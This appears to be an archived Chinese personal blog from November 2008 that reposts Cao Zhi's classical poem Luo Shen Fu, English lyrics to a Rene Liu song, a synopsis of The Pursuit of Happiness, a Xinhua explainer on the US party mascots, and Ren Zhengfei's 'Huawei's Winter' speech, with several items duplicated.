11.22.2008
洛神赋
- 作者：曹子建
- 黄初三年，余朝京师，还济洛川。古人有言，斯水之神，名曰宓妃。感宋玉对楚王神女之事，遂 作斯赋。其辞曰： 余从京域，言归东藩。背伊阙，越轘辕，经通谷，陵景山。日既西倾，车殆马烦。尔乃税驾乎蘅皋，秣驷乎芝田，容与乎阳林，流眄乎洛川。于是精移神骇，忽焉思散。俯则末察，仰以殊观，睹一丽人，于岩之畔。乃援御者而告之曰：“尔有觌于彼者乎？彼何人斯？若此之艳也！”御者对曰：“臣闻河洛之神，名曰宓妃。然则君王所见，无乃日乎？其状若何？臣愿闻之。”
余告之曰：“其形也，翩若惊鸿，婉若游龙。荣曜秋菊，华茂春松。仿佛兮若轻云之蔽月，飘飘兮若流风之回雪。远而望之，皎若太阳升朝霞；迫而察之，灼若芙蕖出渌波。襛纤得衷，修短合度。肩若削成，腰如约素。延颈秀项，皓质呈露。芳泽无加，铅华弗御。云髻峨峨，修眉联娟。丹唇外朗，皓齿内鲜，明眸善睐，靥辅承权。瑰姿艳逸，仪静体闲。柔情绰态，媚于语言。奇服旷世，骨像应图。披罗衣之璀粲兮，珥瑶碧之华琚。戴金翠之首饰，缀明珠以耀躯。践远游之文履，曳雾绡之轻裾。微幽兰之芳蔼兮，步踟蹰于山隅。于是忽焉纵体，以遨以嬉。左倚采旄，右荫桂旗。壤皓腕于神浒兮，采湍濑之玄芝。
余情悦其淑美兮，心振荡而不怡。无良媒以接欢兮，托微波而通辞。愿诚素之先达兮，解玉佩以要之。嗟佳人之信修，羌习礼而明诗。抗琼珶以和予兮，指潜渊而为期。执眷眷之款实兮，惧斯灵之我欺。感交甫之弃言兮，怅犹豫而狐疑。收和颜而静志兮，申礼防以自持。
于是洛灵感焉，徙倚彷徨，神光离合，乍阴乍阳。竦轻躯以鹤立，若将飞而未翔。践椒涂之郁烈，步蘅薄而流芳。超长吟以永慕兮，声哀厉而弥长。
尔乃众灵杂遢，命俦啸侣，或戏清流，或翔神渚，或采明珠，或拾翠羽。从南湘之二妃，携汉滨之游女。叹匏瓜之无匹兮，咏牵牛之独处。扬轻袿之猗靡兮，翳修袖以延伫。休迅飞凫，飘忽若神，陵波微步，罗袜生尘。动无常则，若危若安。进止难期，若往若还。转眄流精，光润玉颜。含辞未吐，气若幽兰。华容婀娜，令我忘餐。
于是屏翳收风，川后静波。冯夷鸣鼓，女娲清歌。腾文鱼以警乘，鸣玉鸾以偕逝。六龙俨其齐首，载云车之容裔，鲸鲵踊而夹毂，水禽翔而为卫。于是越北沚。过南冈，纡素领，回清阳，动朱唇以徐言，陈交接之大纲。恨人神之道殊兮，怨盛年之莫当。抗罗袂以掩涕兮，泪流襟之浪浪。悼良会之永绝兮。哀一逝而异乡。无微情以效爱兮，献江南之明珰。虽潜处于太阳，长寄心于君王。忽不悟其所舍，怅神宵而蔽光。于是背下陵高，足往神留，遗情想像，顾望怀愁。冀灵体之复形，御轻舟而上溯。浮长川而忘返，思绵绵督。夜耿耿而不寐，沾繁霜而至曙。命仆夫而就驾，吾将归乎东路。揽騑辔以抗策，怅盘桓而不能去
11.17.2008
《后来》英文版——刘若英
whole life
the wonder such you bring the beauty
i can see but i keep deep inside on it
oh life
i feel that i can bring it again
in the world where love will still remain
choose your words make them whys
many things have produced(?) where we are
i am here
here with you
close your eyes let love heal the sorrow
once again i feel in life
i'm sure of this insight
and i need you more than ever
life's told me so much more
feel stronger than before of this feeling stay here forever
long ago i was blind
i thought the love was so waste here to stay
but we walked all the way
and we said good bye
even though i knew i loved you still
suddenly you were gone and she was in your rounds
its picture i remember
i was lost could not be saved my life just ran away
i only wish that we could start over
but true love will find its way
now i love it seemed to stay
i lost it once and now i found the way to live again
oh life
i wonder such you
bring the beauty i can see
but i keep deep inside on it
oh life
i feel that i can bring it again
in the world where love will still remain
but true love will find its way
now i love it seemed to stay
i lost it once
now i found the way to live again
oh life
the wonder such you bring
the beauty i can see
but i keep deep inside on it
oh life
i feel that i can bring it again
in the world where love will still remain
mmm....
in the world where love will still remain
11.06.2008
《当幸福来敲门》
The Pursuit of Happiness
【剧情介绍】
已近而立之年的克里斯·加德纳(威尔·史密斯)，一事无成,生活潦倒,偶然间结识了某股票经理人,并凭借自己的执着,得到一个实习的机会,但是实习生有20人,他们必须无薪工作六个月,最后只能有一个人录用.这对克里斯·加德纳来说实在是难上加难.这时,妻子因为不忍穷苦的生活,独自去了纽约,克里斯·加德纳和儿子亦因为极度的贫穷而辗转反侧,东奔西跑,他们一边卖一种扫描仪,一边作实习生,后来还必须去教堂排队,争取得到教堂救济.但是克里斯·加德纳一直很乐观,并且教育儿子,不要灰心.因为极度的贫穷,克里斯·加德纳甚至去卖血.功夫不负有心人,克里斯·加德纳最终凭借自己的努力,脱颖而出,获得了股票经纪人的工作.
【精彩对白】
Chris Gardner：You have a dream, you got to protect it.
克里斯·加德纳：如果你有梦想，就要守护它。
Chris Gardner：People cant do something by themselves; they wanna tell you you can not do it.
克里斯·加德纳：当人们做不到一些事情的时候，他们就会对你说你也同样不能。
Chris Gardner：You want something. Go get it！
克里斯·加德纳：有了目标就要全力以赴。
Martin Frohm: What would you say if man walked in here with no shirt, and I hired him? What would you say?
马丁：如果我雇佣了一个没有穿着衬衫走进来的人，你会怎么说?
Chris Gardner: He must have had on some really nice pants.
克里斯·加德纳：他一定穿了一条很棒的裤子。
主题曲：A Fathers Way
【剧情介绍】
已近而立之年的克里斯·加德纳(威尔·史密斯)，一事无成,生活潦倒,偶然间结识了某股票经理人,并凭借自己的执着,得到一个实习的机会,但是实习生有20人,他们必须无薪工作六个月,最后只能有一个人录用.这对克里斯·加德纳来说实在是难上加难.这时,妻子因为不忍穷苦的生活,独自去了纽约,克里斯·加德纳和儿子亦因为极度的贫穷而辗转反侧,东奔西跑,他们一边卖一种扫描仪,一边作实习生,后来还必须去教堂排队,争取得到教堂救济.但是克里斯·加德纳一直很乐观,并且教育儿子,不要灰心.因为极度的贫穷,克里斯·加德纳甚至去卖血.功夫不负有心人,克里斯·加德纳最终凭借自己的努力,脱颖而出,获得了股票经纪人的工作.
【精彩对白】
Chris Gardner：You have a dream, you got to protect it.
克里斯·加德纳：如果你有梦想，就要守护它。
Chris Gardner：People cant do something by themselves; they wanna tell you you can not do it.
克里斯·加德纳：当人们做不到一些事情的时候，他们就会对你说你也同样不能。
Chris Gardner：You want something. Go get it！
克里斯·加德纳：有了目标就要全力以赴。
Martin Frohm: What would you say if man walked in here with no shirt, and I hired him? What would you say?
马丁：如果我雇佣了一个没有穿着衬衫走进来的人，你会怎么说?
Chris Gardner: He must have had on some really nice pants.
克里斯·加德纳：他一定穿了一条很棒的裤子。
主题曲：A Fathers Way
11.05.2008
“驴象之争”的由来
【来源：新华网】
“驴子”是民主党的党徽，“大象”是共和党的党徽。四年一次的美国总统选举又称为“驴象之争”或“驴象赛跑”。民主党与共和党分别以驴和象作为自己的象征，源于德裔美国政治漫画家汤姆斯·纳斯特的讽刺漫画。
民主党最早和驴子扯在一起是1828年杰克逊竞选美国第七任总统。
当时对手批评他是“笨驴”，讽刺他主张“让人民统治”。杰克逊当选后，驴子的绰号一直罩在作风固执的他的头上。
1870年，纳斯特画了一头驴登在《哈泼斯周刊》上，以讽刺当时北部反对内战的民主党人。这幅漫画加深了人们头脑中“民主党即驴子”的印象。驴子虽然笨头笨脑，却被民主党人视为既聪明又勇敢的动物。1880年，民主党在总统选举中开始以驴子作为党的代表动物。
把大象与共和党连在一块则是纳斯特一手搞起的。1874年，他在《哈泼斯周刊》上画了一幅摔倒的大象，用它代表不满共和党总统格兰特执政的共和党选民。同年，共和党在国会中期选举中大败，纳斯特又画了一幅受困的大象予以讽刺。随后其他漫画家也纷纷用大象来代表共和党。有趣的是，被民主党讥讽为大而无当、华而不实、保守愚昧的大象，在共和党人看来，代表的却是尊严、力量和智慧。最后，共和党索性把大象作为自己的代表动物。
“驴子”是民主党的党徽，“大象”是共和党的党徽。四年一次的美国总统选举又称为“驴象之争”或“驴象赛跑”。民主党与共和党分别以驴和象作为自己的象征，源于德裔美国政治漫画家汤姆斯·纳斯特的讽刺漫画。
民主党最早和驴子扯在一起是1828年杰克逊竞选美国第七任总统。
当时对手批评他是“笨驴”，讽刺他主张“让人民统治”。杰克逊当选后，驴子的绰号一直罩在作风固执的他的头上。
1870年，纳斯特画了一头驴登在《哈泼斯周刊》上，以讽刺当时北部反对内战的民主党人。这幅漫画加深了人们头脑中“民主党即驴子”的印象。驴子虽然笨头笨脑，却被民主党人视为既聪明又勇敢的动物。1880年，民主党在总统选举中开始以驴子作为党的代表动物。
把大象与共和党连在一块则是纳斯特一手搞起的。1874年，他在《哈泼斯周刊》上画了一幅摔倒的大象，用它代表不满共和党总统格兰特执政的共和党选民。同年，共和党在国会中期选举中大败，纳斯特又画了一幅受困的大象予以讽刺。随后其他漫画家也纷纷用大象来代表共和党。有趣的是，被民主党讥讽为大而无当、华而不实、保守愚昧的大象，在共和党人看来，代表的却是尊严、力量和智慧。最后，共和党索性把大象作为自己的代表动物。
华为的冬天
作者：任正非
公司所有员工是否考虑过，如果有一天，公司销售额下滑、利润下滑甚至会破产，我们怎么办？我们公司的太平时间太长了，在和平时期升的官太多了，这也许就是我们的灾难。泰坦尼克号也是在一片欢呼声中出的海。而且我相信，这一天一定会到来。面对这样的未来，我们怎样来处理，我们是不是思考过。我们好多员工盲目自豪，盲目乐观，如果想过的人太少，也许就快来临了。居安思危，不是危言耸听。
我到德国考察时，看到第二次世界大战后德国恢复得这么快，当时很感动。他们当时的工人团结起来，提出要降工资，不增工资，从而加快经济建设，所以战后德国经济增长很快。如果华为公司真的危机到来了，是不是员工工资减一半，大家靠一点白菜、南瓜过日子，就能行？或者我们就裁掉一半人是否就能救公司。如果是这样就行的话，危险就不危险了。因为，危险一过去，我们可以逐步将工资补回来，或者销售增长，将被迫裁掉的人请回来。这算不了什么危机。如果两者同时都进行，都不能挽救公司，想过没有。
十年来我天天思考的都是失败，对成功视而不见，也没有什么荣誉感、自豪感，而是危机感。也许是这样才存活了十年。我们大家要一起来想，怎样才能活下去，也许才能存活得久一些。失败这一天是一定会到来，大家要准备迎接，这是我从不动摇的看法，这是历史规律。
华为公司老喊狼来了，喊多了，大家有些不信了。但狼真的会来了。今年我们要广泛展开对危机的讨论，讨论华为有什么危机，你的部门有什么危机，你的科室有什么危机，你的流程的那一点有什么危机。还能改进吗？还能改进吗？还能提高人均效益吗？如果讨论清楚了，那我们可能就不死，就延续了我们的生命。怎样提高管理效率，我们每年都写了一些管理要点，这些要点能不能对你的工作有些改进，如果改进一点，我们就前进了。
一、均衡发展，就是抓短的一块木板
我们怎样才能活下来。同志们，你们要想一想，如果每一年你们的人均产量增加15％，你可能仅仅保持住工资不变或者还可能略略下降。电子产品价格下降幅度一年还不止15％吧。我们卖的越来越多，而利润却越来越少，如果我们不多干一点，我们可能保不住今天，更别说涨工资。不能靠没完没了的加班，所以一定要改进我们的管理。
在管理改进中，一定要强调改进我们木板最短的那一块。各部门、各科室、各流程主要领导都要抓薄弱环节。要坚持均衡发展，不断地强化以流程型和时效型为主导的管理体系的建设，在符合公司整体核心竞争力提升的条件下，不断优化你的工作，提高贡献率。
全公司一定要建立起统一的价值评价体系，统一的考评体系，才能使人员在内部流动和平衡成为可能。比如有人说我搞研发创新很厉害，但创新的价值如何体现，创新必须通过转化变成商品，才能产生价值。我们重视技术、重视营销，这一点我并不反对，但每一个链条都是很重要的。研发相对用服来说，同等级别的一个用服工程师可能要比研发人员综合处理能力还强一些。所以如果我们对售后服务体系不给认同，那么这体系就永远不是由优秀的人来组成的。不是由优秀的人来组织，就是高成本的组织。因为他飞过去修机器，去一趟修不好，又飞过去修不好，又飞过去又修不好。我们把工资全都赞助给民航了。如果我们一次就能修好，甚至根本不用过去，用远程指导就能修好，我们将省多少成本啊！因此，我们要强调均衡发展，不能老是强调某一方面。
二、对事负责制与对人负责制是有本质区别的，一个是扩张体系，一个是收敛体系
为什么我们要强调以流程型和时效型为主导的体系呢？现在流程上运作的干部，他们还习惯于事事都请示上级。这是错的，已经有规定，或者成为惯例的东西，不必请示，应快速让它通过去。执行流程的人，是对事情负责，这就是对事负责制。事事请示，就是对人负责制，它是收敛的。我们要减化不必要确认的东西，要减少在管理中不必要、不重要的环节，否则公司怎么能高效运行呢？现在我们机关有相当的部门以及相当的编制，在制造垃圾，然后这些垃圾又进入分捡、清理，制造一些人的工作机会。制造这些复杂的文件，搞了一些复杂的程序以及不必要的报表、文件，来养活一些不必要养活的机关干部，机关干部是不能产生增值行为的。我们一定要在监控有效的条件下，尽力精简机关。
市场部机关是无能的。每天的纸片如雪花一样飞啊，每天都向办事处要报表，今天要这个报表，明天要那个报表，这是无能的机关干部。办事处每一个月把所有的数据填一个表，放到数据库里，机关要数据就到数据库里找。从明天开始，市场部把多余的干部组成一个数据库小组，所有数据只能向这个小组要，不能向办事处要，办事处一定要给机关打分，你们不要给他们打那么好的分，让他们吃一点亏，否则他们不会明白这个道理，就不会服务于你们，使你作战有力。
在本职工作中，我们一定要敢于负责任，使流程速度加快，对明哲保身的人一定要清除。华为给了员工很好的利益，于是有人说千万不要丢了这个位子，千万不要丢掉这个利益。凡是要保自己利益的人，要免除他的职务，他已经是变革的绊脚石。在去年的一年里，如果没有改进行为的，甚至一次错误也没犯过，工作也没有改进的，是不是可以就地免除他的职务。他的部门的人均效益没提高，他这个科长就不能当了。他说他也没有犯错啊，没犯错就可以当干部吗？有些人没犯过一次错误，因为他一件事情都没做。而有些人在工作中犯了一些错误，但他管理的部门人均效益提升很大，我认为这种干部就要用。对既没犯过错误，又没有改进的干部可以就地免职。
三、自我批判，是思想、品德、素质、技能创新的优良工具
我们一定要推行以自我批判为中心的组织改造和优化活动。自我批判不是为批判而批判，也不是为全面否定而批判，而是为优化和建设而批判。总的目标是要提升公司整体核心竞争力。
为什么要强调自我批判？我们倡导自我批判，但不提倡相互批评，因为批评不好把握适度，如果批判火药味很浓，就容易造成队伍之间的矛盾。而自己批判自己呢，人们不会自己下猛力，对自己都会手下留情。即使用鸡毛掸子轻轻打一下，也比不打好，多打几年，你就会百炼成钢了。自我批判不光是个人进行自我批判，组织也要对自己进行自我批判。通过自我批判，各级骨干要努力塑造自己，逐步走向职业化、走向国际化。公司认为自我批判是个人进步的好方法，还不能掌握这个武器的员工，希望各级部门不要对他们再提拔了。两年后，还不能掌握和使用这个武器的干部要降低使用。在职在位的干部要奋斗不息、进取不止。
干部要有敬业精神、献身精神、责任心、使命感。我们对普通员工不作献身精神要求，他们应该对自己付出的劳动、取得合理报酬。只对有献身精神的员工作要求，将他们培养成干部。另外，我们对高级干部实行严要求，不对一般干部实施严要求。因为都实施严要求，我们管理成本就太高了。因为管他也要花钱的呀，不打粮食的事我们要少干。因此我们对不同级别的干部有不同的要求，凡是不能使用自我批判这个武器的干部都不能提拔。
自我批判从高级干部开始，高级干部每年都有民主生活会，民主生活会上提的问题是非常尖锐的。有人听了以后认为公司内部斗争真激烈，你看他们说起问题来很尖锐，但是说完他们不又握着手打仗去了吗？我希望这种精神一直能往下传，下面也要有民主生活会，一定要相互提意见，相互提意见时一定要和风细雨。我认为，批评别人应该是请客吃饭，应该是绘画、绣花，要温良恭让。一定不要把内部的民主生活会变成了有火药味的会议，高级干部尖锐一些，是他们素质高，越到基层应越温和。事情不能指望一次说完，一年不行，两年也可以，三年进步也不迟。我希望各级干部在组织自我批判的民主生活会议上，千万要把握尺度。我认为人是怕痛的，太痛了也不太好，像绘画、绣花一样，细细致致地帮人家分析他的缺点，提出改进措施来，和风细雨式最好。
四、任职资格及虚拟利润法是推进公司合理评价干部的有序、有效的制度
我们要坚定不移地继续推行任职资格管理制度。只有这样才能改变过去的评价蒙估状态。才会使有贡献、有责任心的人尽快成长起来。激励机制要有利于公司核心竞争力战略的全面展开，也要有利于近期核心竞争力的不断增长。
什么叫领导？什么叫政客？这次以色列的选举，让我们看到了犹太人的短视。拉宾意识到以色列一个小国，处在几亿阿拉伯人的包围中，尽管几次中东战争以色列都战胜了，但不能说50年、100年以后，阿拉伯人不会发展起来。今天不以土地换和平、划定边界，与周边和平相处，那么一旦阿拉伯人强大起来，他们又会重新流离失所。要是这样犹太人再过2000年还回不回得来，就不一定了。而大多数人，只看重眼前的利益，沙龙是强硬派，会为犹太人争得近期利益，人们拥护了他。我终于看到一次犹太人也像我们一样的短视。我们的领导都不要迎合群众，但推进组织目的，要注意工作方法。
干部要有敬业精神、献身精神、责任心和使命感。区别一个干部是不是一个好干部，是不是忠臣，标准有四个：第一，你有没有敬业精神，对工作是否认真，改进了，还能改进吗？还能再改进吗？这就是你的工作敬业精神。第二，你有没有献身精神，不要斤斤计较，我们的价值评价体系不可能做到绝对公平。如果用曹冲称象的方法来进行任职资格来评价的话，那肯定是公平的。但如果用精密天平来评价，那肯定公平不了。我们要想做到绝对公平是不可能的。我认为献身精神是考核干部的一个很重要因素。一个干部如果过于斤斤计较，这个干部绝对做不好，你手下有很多兵，你自私、斤斤计较，你的手下能和你合作很好吗？没有献身精神的人不要做干部，做干部的一定要有献身精神。第三点和第四点，就是要有责任心和使命感。我们的员工是不是都有责任心和使命感？如果没有责任心和使命感，为什么还想要当干部。如果你觉得还是你有一点责任心和使命感的，赶快改进，否则最终还是要把你免下去的。
五、不盲目创新，才能缩小庞大的机关
庙小一点，方丈减几个，和尚少一点，机关的改革就是这样。总的原则是我们一定要压缩机关，为什么？因为我们建设了IT。为什么要建设IT？道路设计时要博士，炼钢制轨要硕士，铺路要本科生。但是道路修好了扳岔道就不要这么高的学历了，否则谁也坐不起这个火车。因此当我们公司组织体系和流程体系建设起来的时候，就不要这么多的高级别干部，方丈就少了。
我们要坚持“小改进，大奖励”。“小改进、大奖励”是我们长期坚持不懈的改良方针。应在小改进的基础上，不断归纳，综合分析。研究其与公司总体目标流程的符合，与周边流程的和谐，要简化、优化、再固化。这个流程是否先进，要以贡献率的提高来评价。我年轻时就知道华罗庚的一句话，“神奇化易是坦途，易化神奇不足提”。我们有些员工，交给他一件事，他能干出十件事来，这种创新就不需要，是无能的表现。这是制造垃圾，这类员工要降低使用。所以今年有很多变革项目，但每个变革项目都要以贡献率来考核。既要实现高速增长，又要同时展开各项管理变革，错综复杂，步履艰难，任重而道远。各级干部要有崇高的使命感和责任意识，要热烈而镇定，紧张而有秩序。“治大国如烹小鲜”，我们做任何小事情都要小心谨慎，不要随意把流程破坏了，发生连锁错误。
六、规范化管理本身已含监控，它的目的是有效、快速的服务业务需要
我们要继续坚持业务为主导，会计为监督的宏观管理方法与体系的建设。什么叫业务为主导，就是要敢于创造和引导需求，取得“机会窗”的利润。也要善于抓住机会，缩小差距，使公司同步于世界而得以生存。什么叫会计为监督，就是为保障业务实现提供规范化的财经服务，规范化就可以快捷、准确和有序，使帐务维护成本低。规范化是一把筛子，在服务的过程中也完成了监督。要把服务与监控融进全流程。我们也要推行逆向审计，追溯责任，从中发现优秀的干部，铲除沉淀层。
七、面对变革要有一颗平常心，要有承受变革的心理素质
IT体系的逐步建成，以前的多层行政传递与管理的体系将更加扁平化。伴随中间层的消失，一大批干部将成为富余，各大部门要将富余的干部及时输送至新的工作岗位上去，及时地疏导，才会避免以后的过度裁员。我在美国时，在和IBM、Cisco、Lucent等几个大公司领导讨论问题时谈到，IT是什么？他们说，IT就是裁员、裁员、再裁员。以电子流来替代人工的操作，以降低运作成本，增强企业竞争力。我们也将面临这个问题。伴随着IPD、ISC、财务四统一、支撑IT的网络等逐步铺开和建立，中间层消失。我们预计我们大量裁掉干部的时间大约在2003年或2004年。
今天要看到这个局面，我们现在正在扩张，还有许多新岗位，大家要赶快去占领这些新岗位，以免被裁掉。不管是对干部还是普通员工，裁员都是不可避免的。我们从来没有承诺过，像日本一样执行终身雇佣制。我们公司从创建开始就是强调来去自由。内部流动是很重要的，当然这个流动有升有降，只要公司的核心竞争力提升了，个人的升、降又何妨呢？“不以物喜，不以己悲”。因此今天来说，我们各级部门真正关怀干部，就不是保住他，而是要疏导他，疏导出去。
八、模板化是所有员工快速管理进步的法宝
一个新员工，看懂模板，会按模板来做，就已经国际化、职业化，现在的文化程度，三个月就掌握了。而这个模板是前人摸索几十年才摸索出来的，你不必再去摸索。各流程管理部门、合理化管理部门，要善于引导各类已经优化的、已经证实行之有效的工作模板化。清晰流程，重复运行的流程，工作一定要模板化。一项工作达到同样绩效，少用工，又少用时间，这才说明管理进步了。我们认为，抓住主要的模板建设，又使相关的模板的流程连结起来，才会使IT成为现实。在这个问题，我们要加强建设。
九、华为的危机，以及萎缩、破产是一定会到来的
现在是春天吧，但冬天已经不远了，我们在春天与夏天要念着冬天的问题。IT业的冬天对别的公司来说不一定是冬天，而对华为可能是冬天。华为的冬天可能来得更冷，更冷一些。我们还太嫩，我们公司经过十年的顺利发展没有经历过挫折，不经过挫折，就不知道如何走向正确道路。磨难是一笔财富，而我们没有经过磨难，这是我们最大的弱点。我们完全没有适应不发展的心理准备与技能准备。
危机的到来是不知不觉地，我认为所有的员工都不能站在自己的角度立场想问题。如果说你们没有宽广的胸怀，就不可能正确对待变革。如果你不能正确对待变革，抵制变革，公司就会死亡。在这个过程中，大家一方面要努力地提升自己，一方面要与同志们团结好，提高组织效率，并把自己的好干部送到别的部门去，使自己部下有提升的机会。你减少了编制，避免了裁员、压缩。在改革过程中，很多变革总会触动某些员工的一些利益和矛盾，希望大家不要发牢骚，说怪话，特别是我们的干部要自律，不要传播小道消息。
十、安安静静地应对外界议论
对待媒体的态度，希望全体员工都要低调，因为我们不是上市公司，所以我们不需要公示社会。我们主要是对政府负责任，对企业的有效运行负责任。对政府的责任就是遵纪守法，我们去年交给国家的增值税、所得税是18个亿，关税是9个亿，加起来一共是27个亿。估计我们今年在税收方面可能再增加百分之七八十，可能要给国家交到40多个亿。我们已经对社会负责了。媒体有他们自己的运作规律，我们不要去参与，我们有的员工到网上的辩论，是帮公司的倒忙。
我想，每个员工都要把精力用到本职工作上去，只有本职工作做好了才能为你提高带来更大的效益。国家的事由国家管，政府的事由政府管，社会的事由社会管，我们只要做一个遵纪守法的公民，就完成了我们对社会的责任。只有这样我们公司才能安全、稳定。不管遇到任何问题，我们的员工都要坚定不移地保持安静，听党的话，跟政府走。严格自律，不该说的话不要乱说。特别是干部要管好自己的家属。我们华为人都是非常有礼仪的人。当社会上根本认不出你是华为人的时候，你就是华为人；当这个社会认出你是华为人的时候，你就不是华为人，因为你的修炼还不到家。
沉舟侧畔千帆过，病树前头万木春。网络股的暴跌，必将对二、三年后的建设预期产生影响，那时制造业就惯性进入了收缩。眼前的繁荣是前几年网络股大涨的惯性结果。记住一句话：“物极必反”，这一场网络设备供应的冬天，也会像它热得人们不理解一样，冷得出奇。没有预见，没有预防，就会冻死。那时，谁有棉衣，谁就活下来了。
公司所有员工是否考虑过，如果有一天，公司销售额下滑、利润下滑甚至会破产，我们怎么办？我们公司的太平时间太长了，在和平时期升的官太多了，这也许就是我们的灾难。泰坦尼克号也是在一片欢呼声中出的海。而且我相信，这一天一定会到来。面对这样的未来，我们怎样来处理，我们是不是思考过。我们好多员工盲目自豪，盲目乐观，如果想过的人太少，也许就快来临了。居安思危，不是危言耸听。
我到德国考察时，看到第二次世界大战后德国恢复得这么快，当时很感动。他们当时的工人团结起来，提出要降工资，不增工资，从而加快经济建设，所以战后德国经济增长很快。如果华为公司真的危机到来了，是不是员工工资减一半，大家靠一点白菜、南瓜过日子，就能行？或者我们就裁掉一半人是否就能救公司。如果是这样就行的话，危险就不危险了。因为，危险一过去，我们可以逐步将工资补回来，或者销售增长，将被迫裁掉的人请回来。这算不了什么危机。如果两者同时都进行，都不能挽救公司，想过没有。
十年来我天天思考的都是失败，对成功视而不见，也没有什么荣誉感、自豪感，而是危机感。也许是这样才存活了十年。我们大家要一起来想，怎样才能活下去，也许才能存活得久一些。失败这一天是一定会到来，大家要准备迎接，这是我从不动摇的看法，这是历史规律。
华为公司老喊狼来了，喊多了，大家有些不信了。但狼真的会来了。今年我们要广泛展开对危机的讨论，讨论华为有什么危机，你的部门有什么危机，你的科室有什么危机，你的流程的那一点有什么危机。还能改进吗？还能改进吗？还能提高人均效益吗？如果讨论清楚了，那我们可能就不死，就延续了我们的生命。怎样提高管理效率，我们每年都写了一些管理要点，这些要点能不能对你的工作有些改进，如果改进一点，我们就前进了。
一、均衡发展，就是抓短的一块木板
我们怎样才能活下来。同志们，你们要想一想，如果每一年你们的人均产量增加15％，你可能仅仅保持住工资不变或者还可能略略下降。电子产品价格下降幅度一年还不止15％吧。我们卖的越来越多，而利润却越来越少，如果我们不多干一点，我们可能保不住今天，更别说涨工资。不能靠没完没了的加班，所以一定要改进我们的管理。
在管理改进中，一定要强调改进我们木板最短的那一块。各部门、各科室、各流程主要领导都要抓薄弱环节。要坚持均衡发展，不断地强化以流程型和时效型为主导的管理体系的建设，在符合公司整体核心竞争力提升的条件下，不断优化你的工作，提高贡献率。
全公司一定要建立起统一的价值评价体系，统一的考评体系，才能使人员在内部流动和平衡成为可能。比如有人说我搞研发创新很厉害，但创新的价值如何体现，创新必须通过转化变成商品，才能产生价值。我们重视技术、重视营销，这一点我并不反对，但每一个链条都是很重要的。研发相对用服来说，同等级别的一个用服工程师可能要比研发人员综合处理能力还强一些。所以如果我们对售后服务体系不给认同，那么这体系就永远不是由优秀的人来组成的。不是由优秀的人来组织，就是高成本的组织。因为他飞过去修机器，去一趟修不好，又飞过去修不好，又飞过去又修不好。我们把工资全都赞助给民航了。如果我们一次就能修好，甚至根本不用过去，用远程指导就能修好，我们将省多少成本啊！因此，我们要强调均衡发展，不能老是强调某一方面。
二、对事负责制与对人负责制是有本质区别的，一个是扩张体系，一个是收敛体系
为什么我们要强调以流程型和时效型为主导的体系呢？现在流程上运作的干部，他们还习惯于事事都请示上级。这是错的，已经有规定，或者成为惯例的东西，不必请示，应快速让它通过去。执行流程的人，是对事情负责，这就是对事负责制。事事请示，就是对人负责制，它是收敛的。我们要减化不必要确认的东西，要减少在管理中不必要、不重要的环节，否则公司怎么能高效运行呢？现在我们机关有相当的部门以及相当的编制，在制造垃圾，然后这些垃圾又进入分捡、清理，制造一些人的工作机会。制造这些复杂的文件，搞了一些复杂的程序以及不必要的报表、文件，来养活一些不必要养活的机关干部，机关干部是不能产生增值行为的。我们一定要在监控有效的条件下，尽力精简机关。
市场部机关是无能的。每天的纸片如雪花一样飞啊，每天都向办事处要报表，今天要这个报表，明天要那个报表，这是无能的机关干部。办事处每一个月把所有的数据填一个表，放到数据库里，机关要数据就到数据库里找。从明天开始，市场部把多余的干部组成一个数据库小组，所有数据只能向这个小组要，不能向办事处要，办事处一定要给机关打分，你们不要给他们打那么好的分，让他们吃一点亏，否则他们不会明白这个道理，就不会服务于你们，使你作战有力。
在本职工作中，我们一定要敢于负责任，使流程速度加快，对明哲保身的人一定要清除。华为给了员工很好的利益，于是有人说千万不要丢了这个位子，千万不要丢掉这个利益。凡是要保自己利益的人，要免除他的职务，他已经是变革的绊脚石。在去年的一年里，如果没有改进行为的，甚至一次错误也没犯过，工作也没有改进的，是不是可以就地免除他的职务。他的部门的人均效益没提高，他这个科长就不能当了。他说他也没有犯错啊，没犯错就可以当干部吗？有些人没犯过一次错误，因为他一件事情都没做。而有些人在工作中犯了一些错误，但他管理的部门人均效益提升很大，我认为这种干部就要用。对既没犯过错误，又没有改进的干部可以就地免职。
三、自我批判，是思想、品德、素质、技能创新的优良工具
我们一定要推行以自我批判为中心的组织改造和优化活动。自我批判不是为批判而批判，也不是为全面否定而批判，而是为优化和建设而批判。总的目标是要提升公司整体核心竞争力。
为什么要强调自我批判？我们倡导自我批判，但不提倡相互批评，因为批评不好把握适度，如果批判火药味很浓，就容易造成队伍之间的矛盾。而自己批判自己呢，人们不会自己下猛力，对自己都会手下留情。即使用鸡毛掸子轻轻打一下，也比不打好，多打几年，你就会百炼成钢了。自我批判不光是个人进行自我批判，组织也要对自己进行自我批判。通过自我批判，各级骨干要努力塑造自己，逐步走向职业化、走向国际化。公司认为自我批判是个人进步的好方法，还不能掌握这个武器的员工，希望各级部门不要对他们再提拔了。两年后，还不能掌握和使用这个武器的干部要降低使用。在职在位的干部要奋斗不息、进取不止。
干部要有敬业精神、献身精神、责任心、使命感。我们对普通员工不作献身精神要求，他们应该对自己付出的劳动、取得合理报酬。只对有献身精神的员工作要求，将他们培养成干部。另外，我们对高级干部实行严要求，不对一般干部实施严要求。因为都实施严要求，我们管理成本就太高了。因为管他也要花钱的呀，不打粮食的事我们要少干。因此我们对不同级别的干部有不同的要求，凡是不能使用自我批判这个武器的干部都不能提拔。
自我批判从高级干部开始，高级干部每年都有民主生活会，民主生活会上提的问题是非常尖锐的。有人听了以后认为公司内部斗争真激烈，你看他们说起问题来很尖锐，但是说完他们不又握着手打仗去了吗？我希望这种精神一直能往下传，下面也要有民主生活会，一定要相互提意见，相互提意见时一定要和风细雨。我认为，批评别人应该是请客吃饭，应该是绘画、绣花，要温良恭让。一定不要把内部的民主生活会变成了有火药味的会议，高级干部尖锐一些，是他们素质高，越到基层应越温和。事情不能指望一次说完，一年不行，两年也可以，三年进步也不迟。我希望各级干部在组织自我批判的民主生活会议上，千万要把握尺度。我认为人是怕痛的，太痛了也不太好，像绘画、绣花一样，细细致致地帮人家分析他的缺点，提出改进措施来，和风细雨式最好。
四、任职资格及虚拟利润法是推进公司合理评价干部的有序、有效的制度
我们要坚定不移地继续推行任职资格管理制度。只有这样才能改变过去的评价蒙估状态。才会使有贡献、有责任心的人尽快成长起来。激励机制要有利于公司核心竞争力战略的全面展开，也要有利于近期核心竞争力的不断增长。
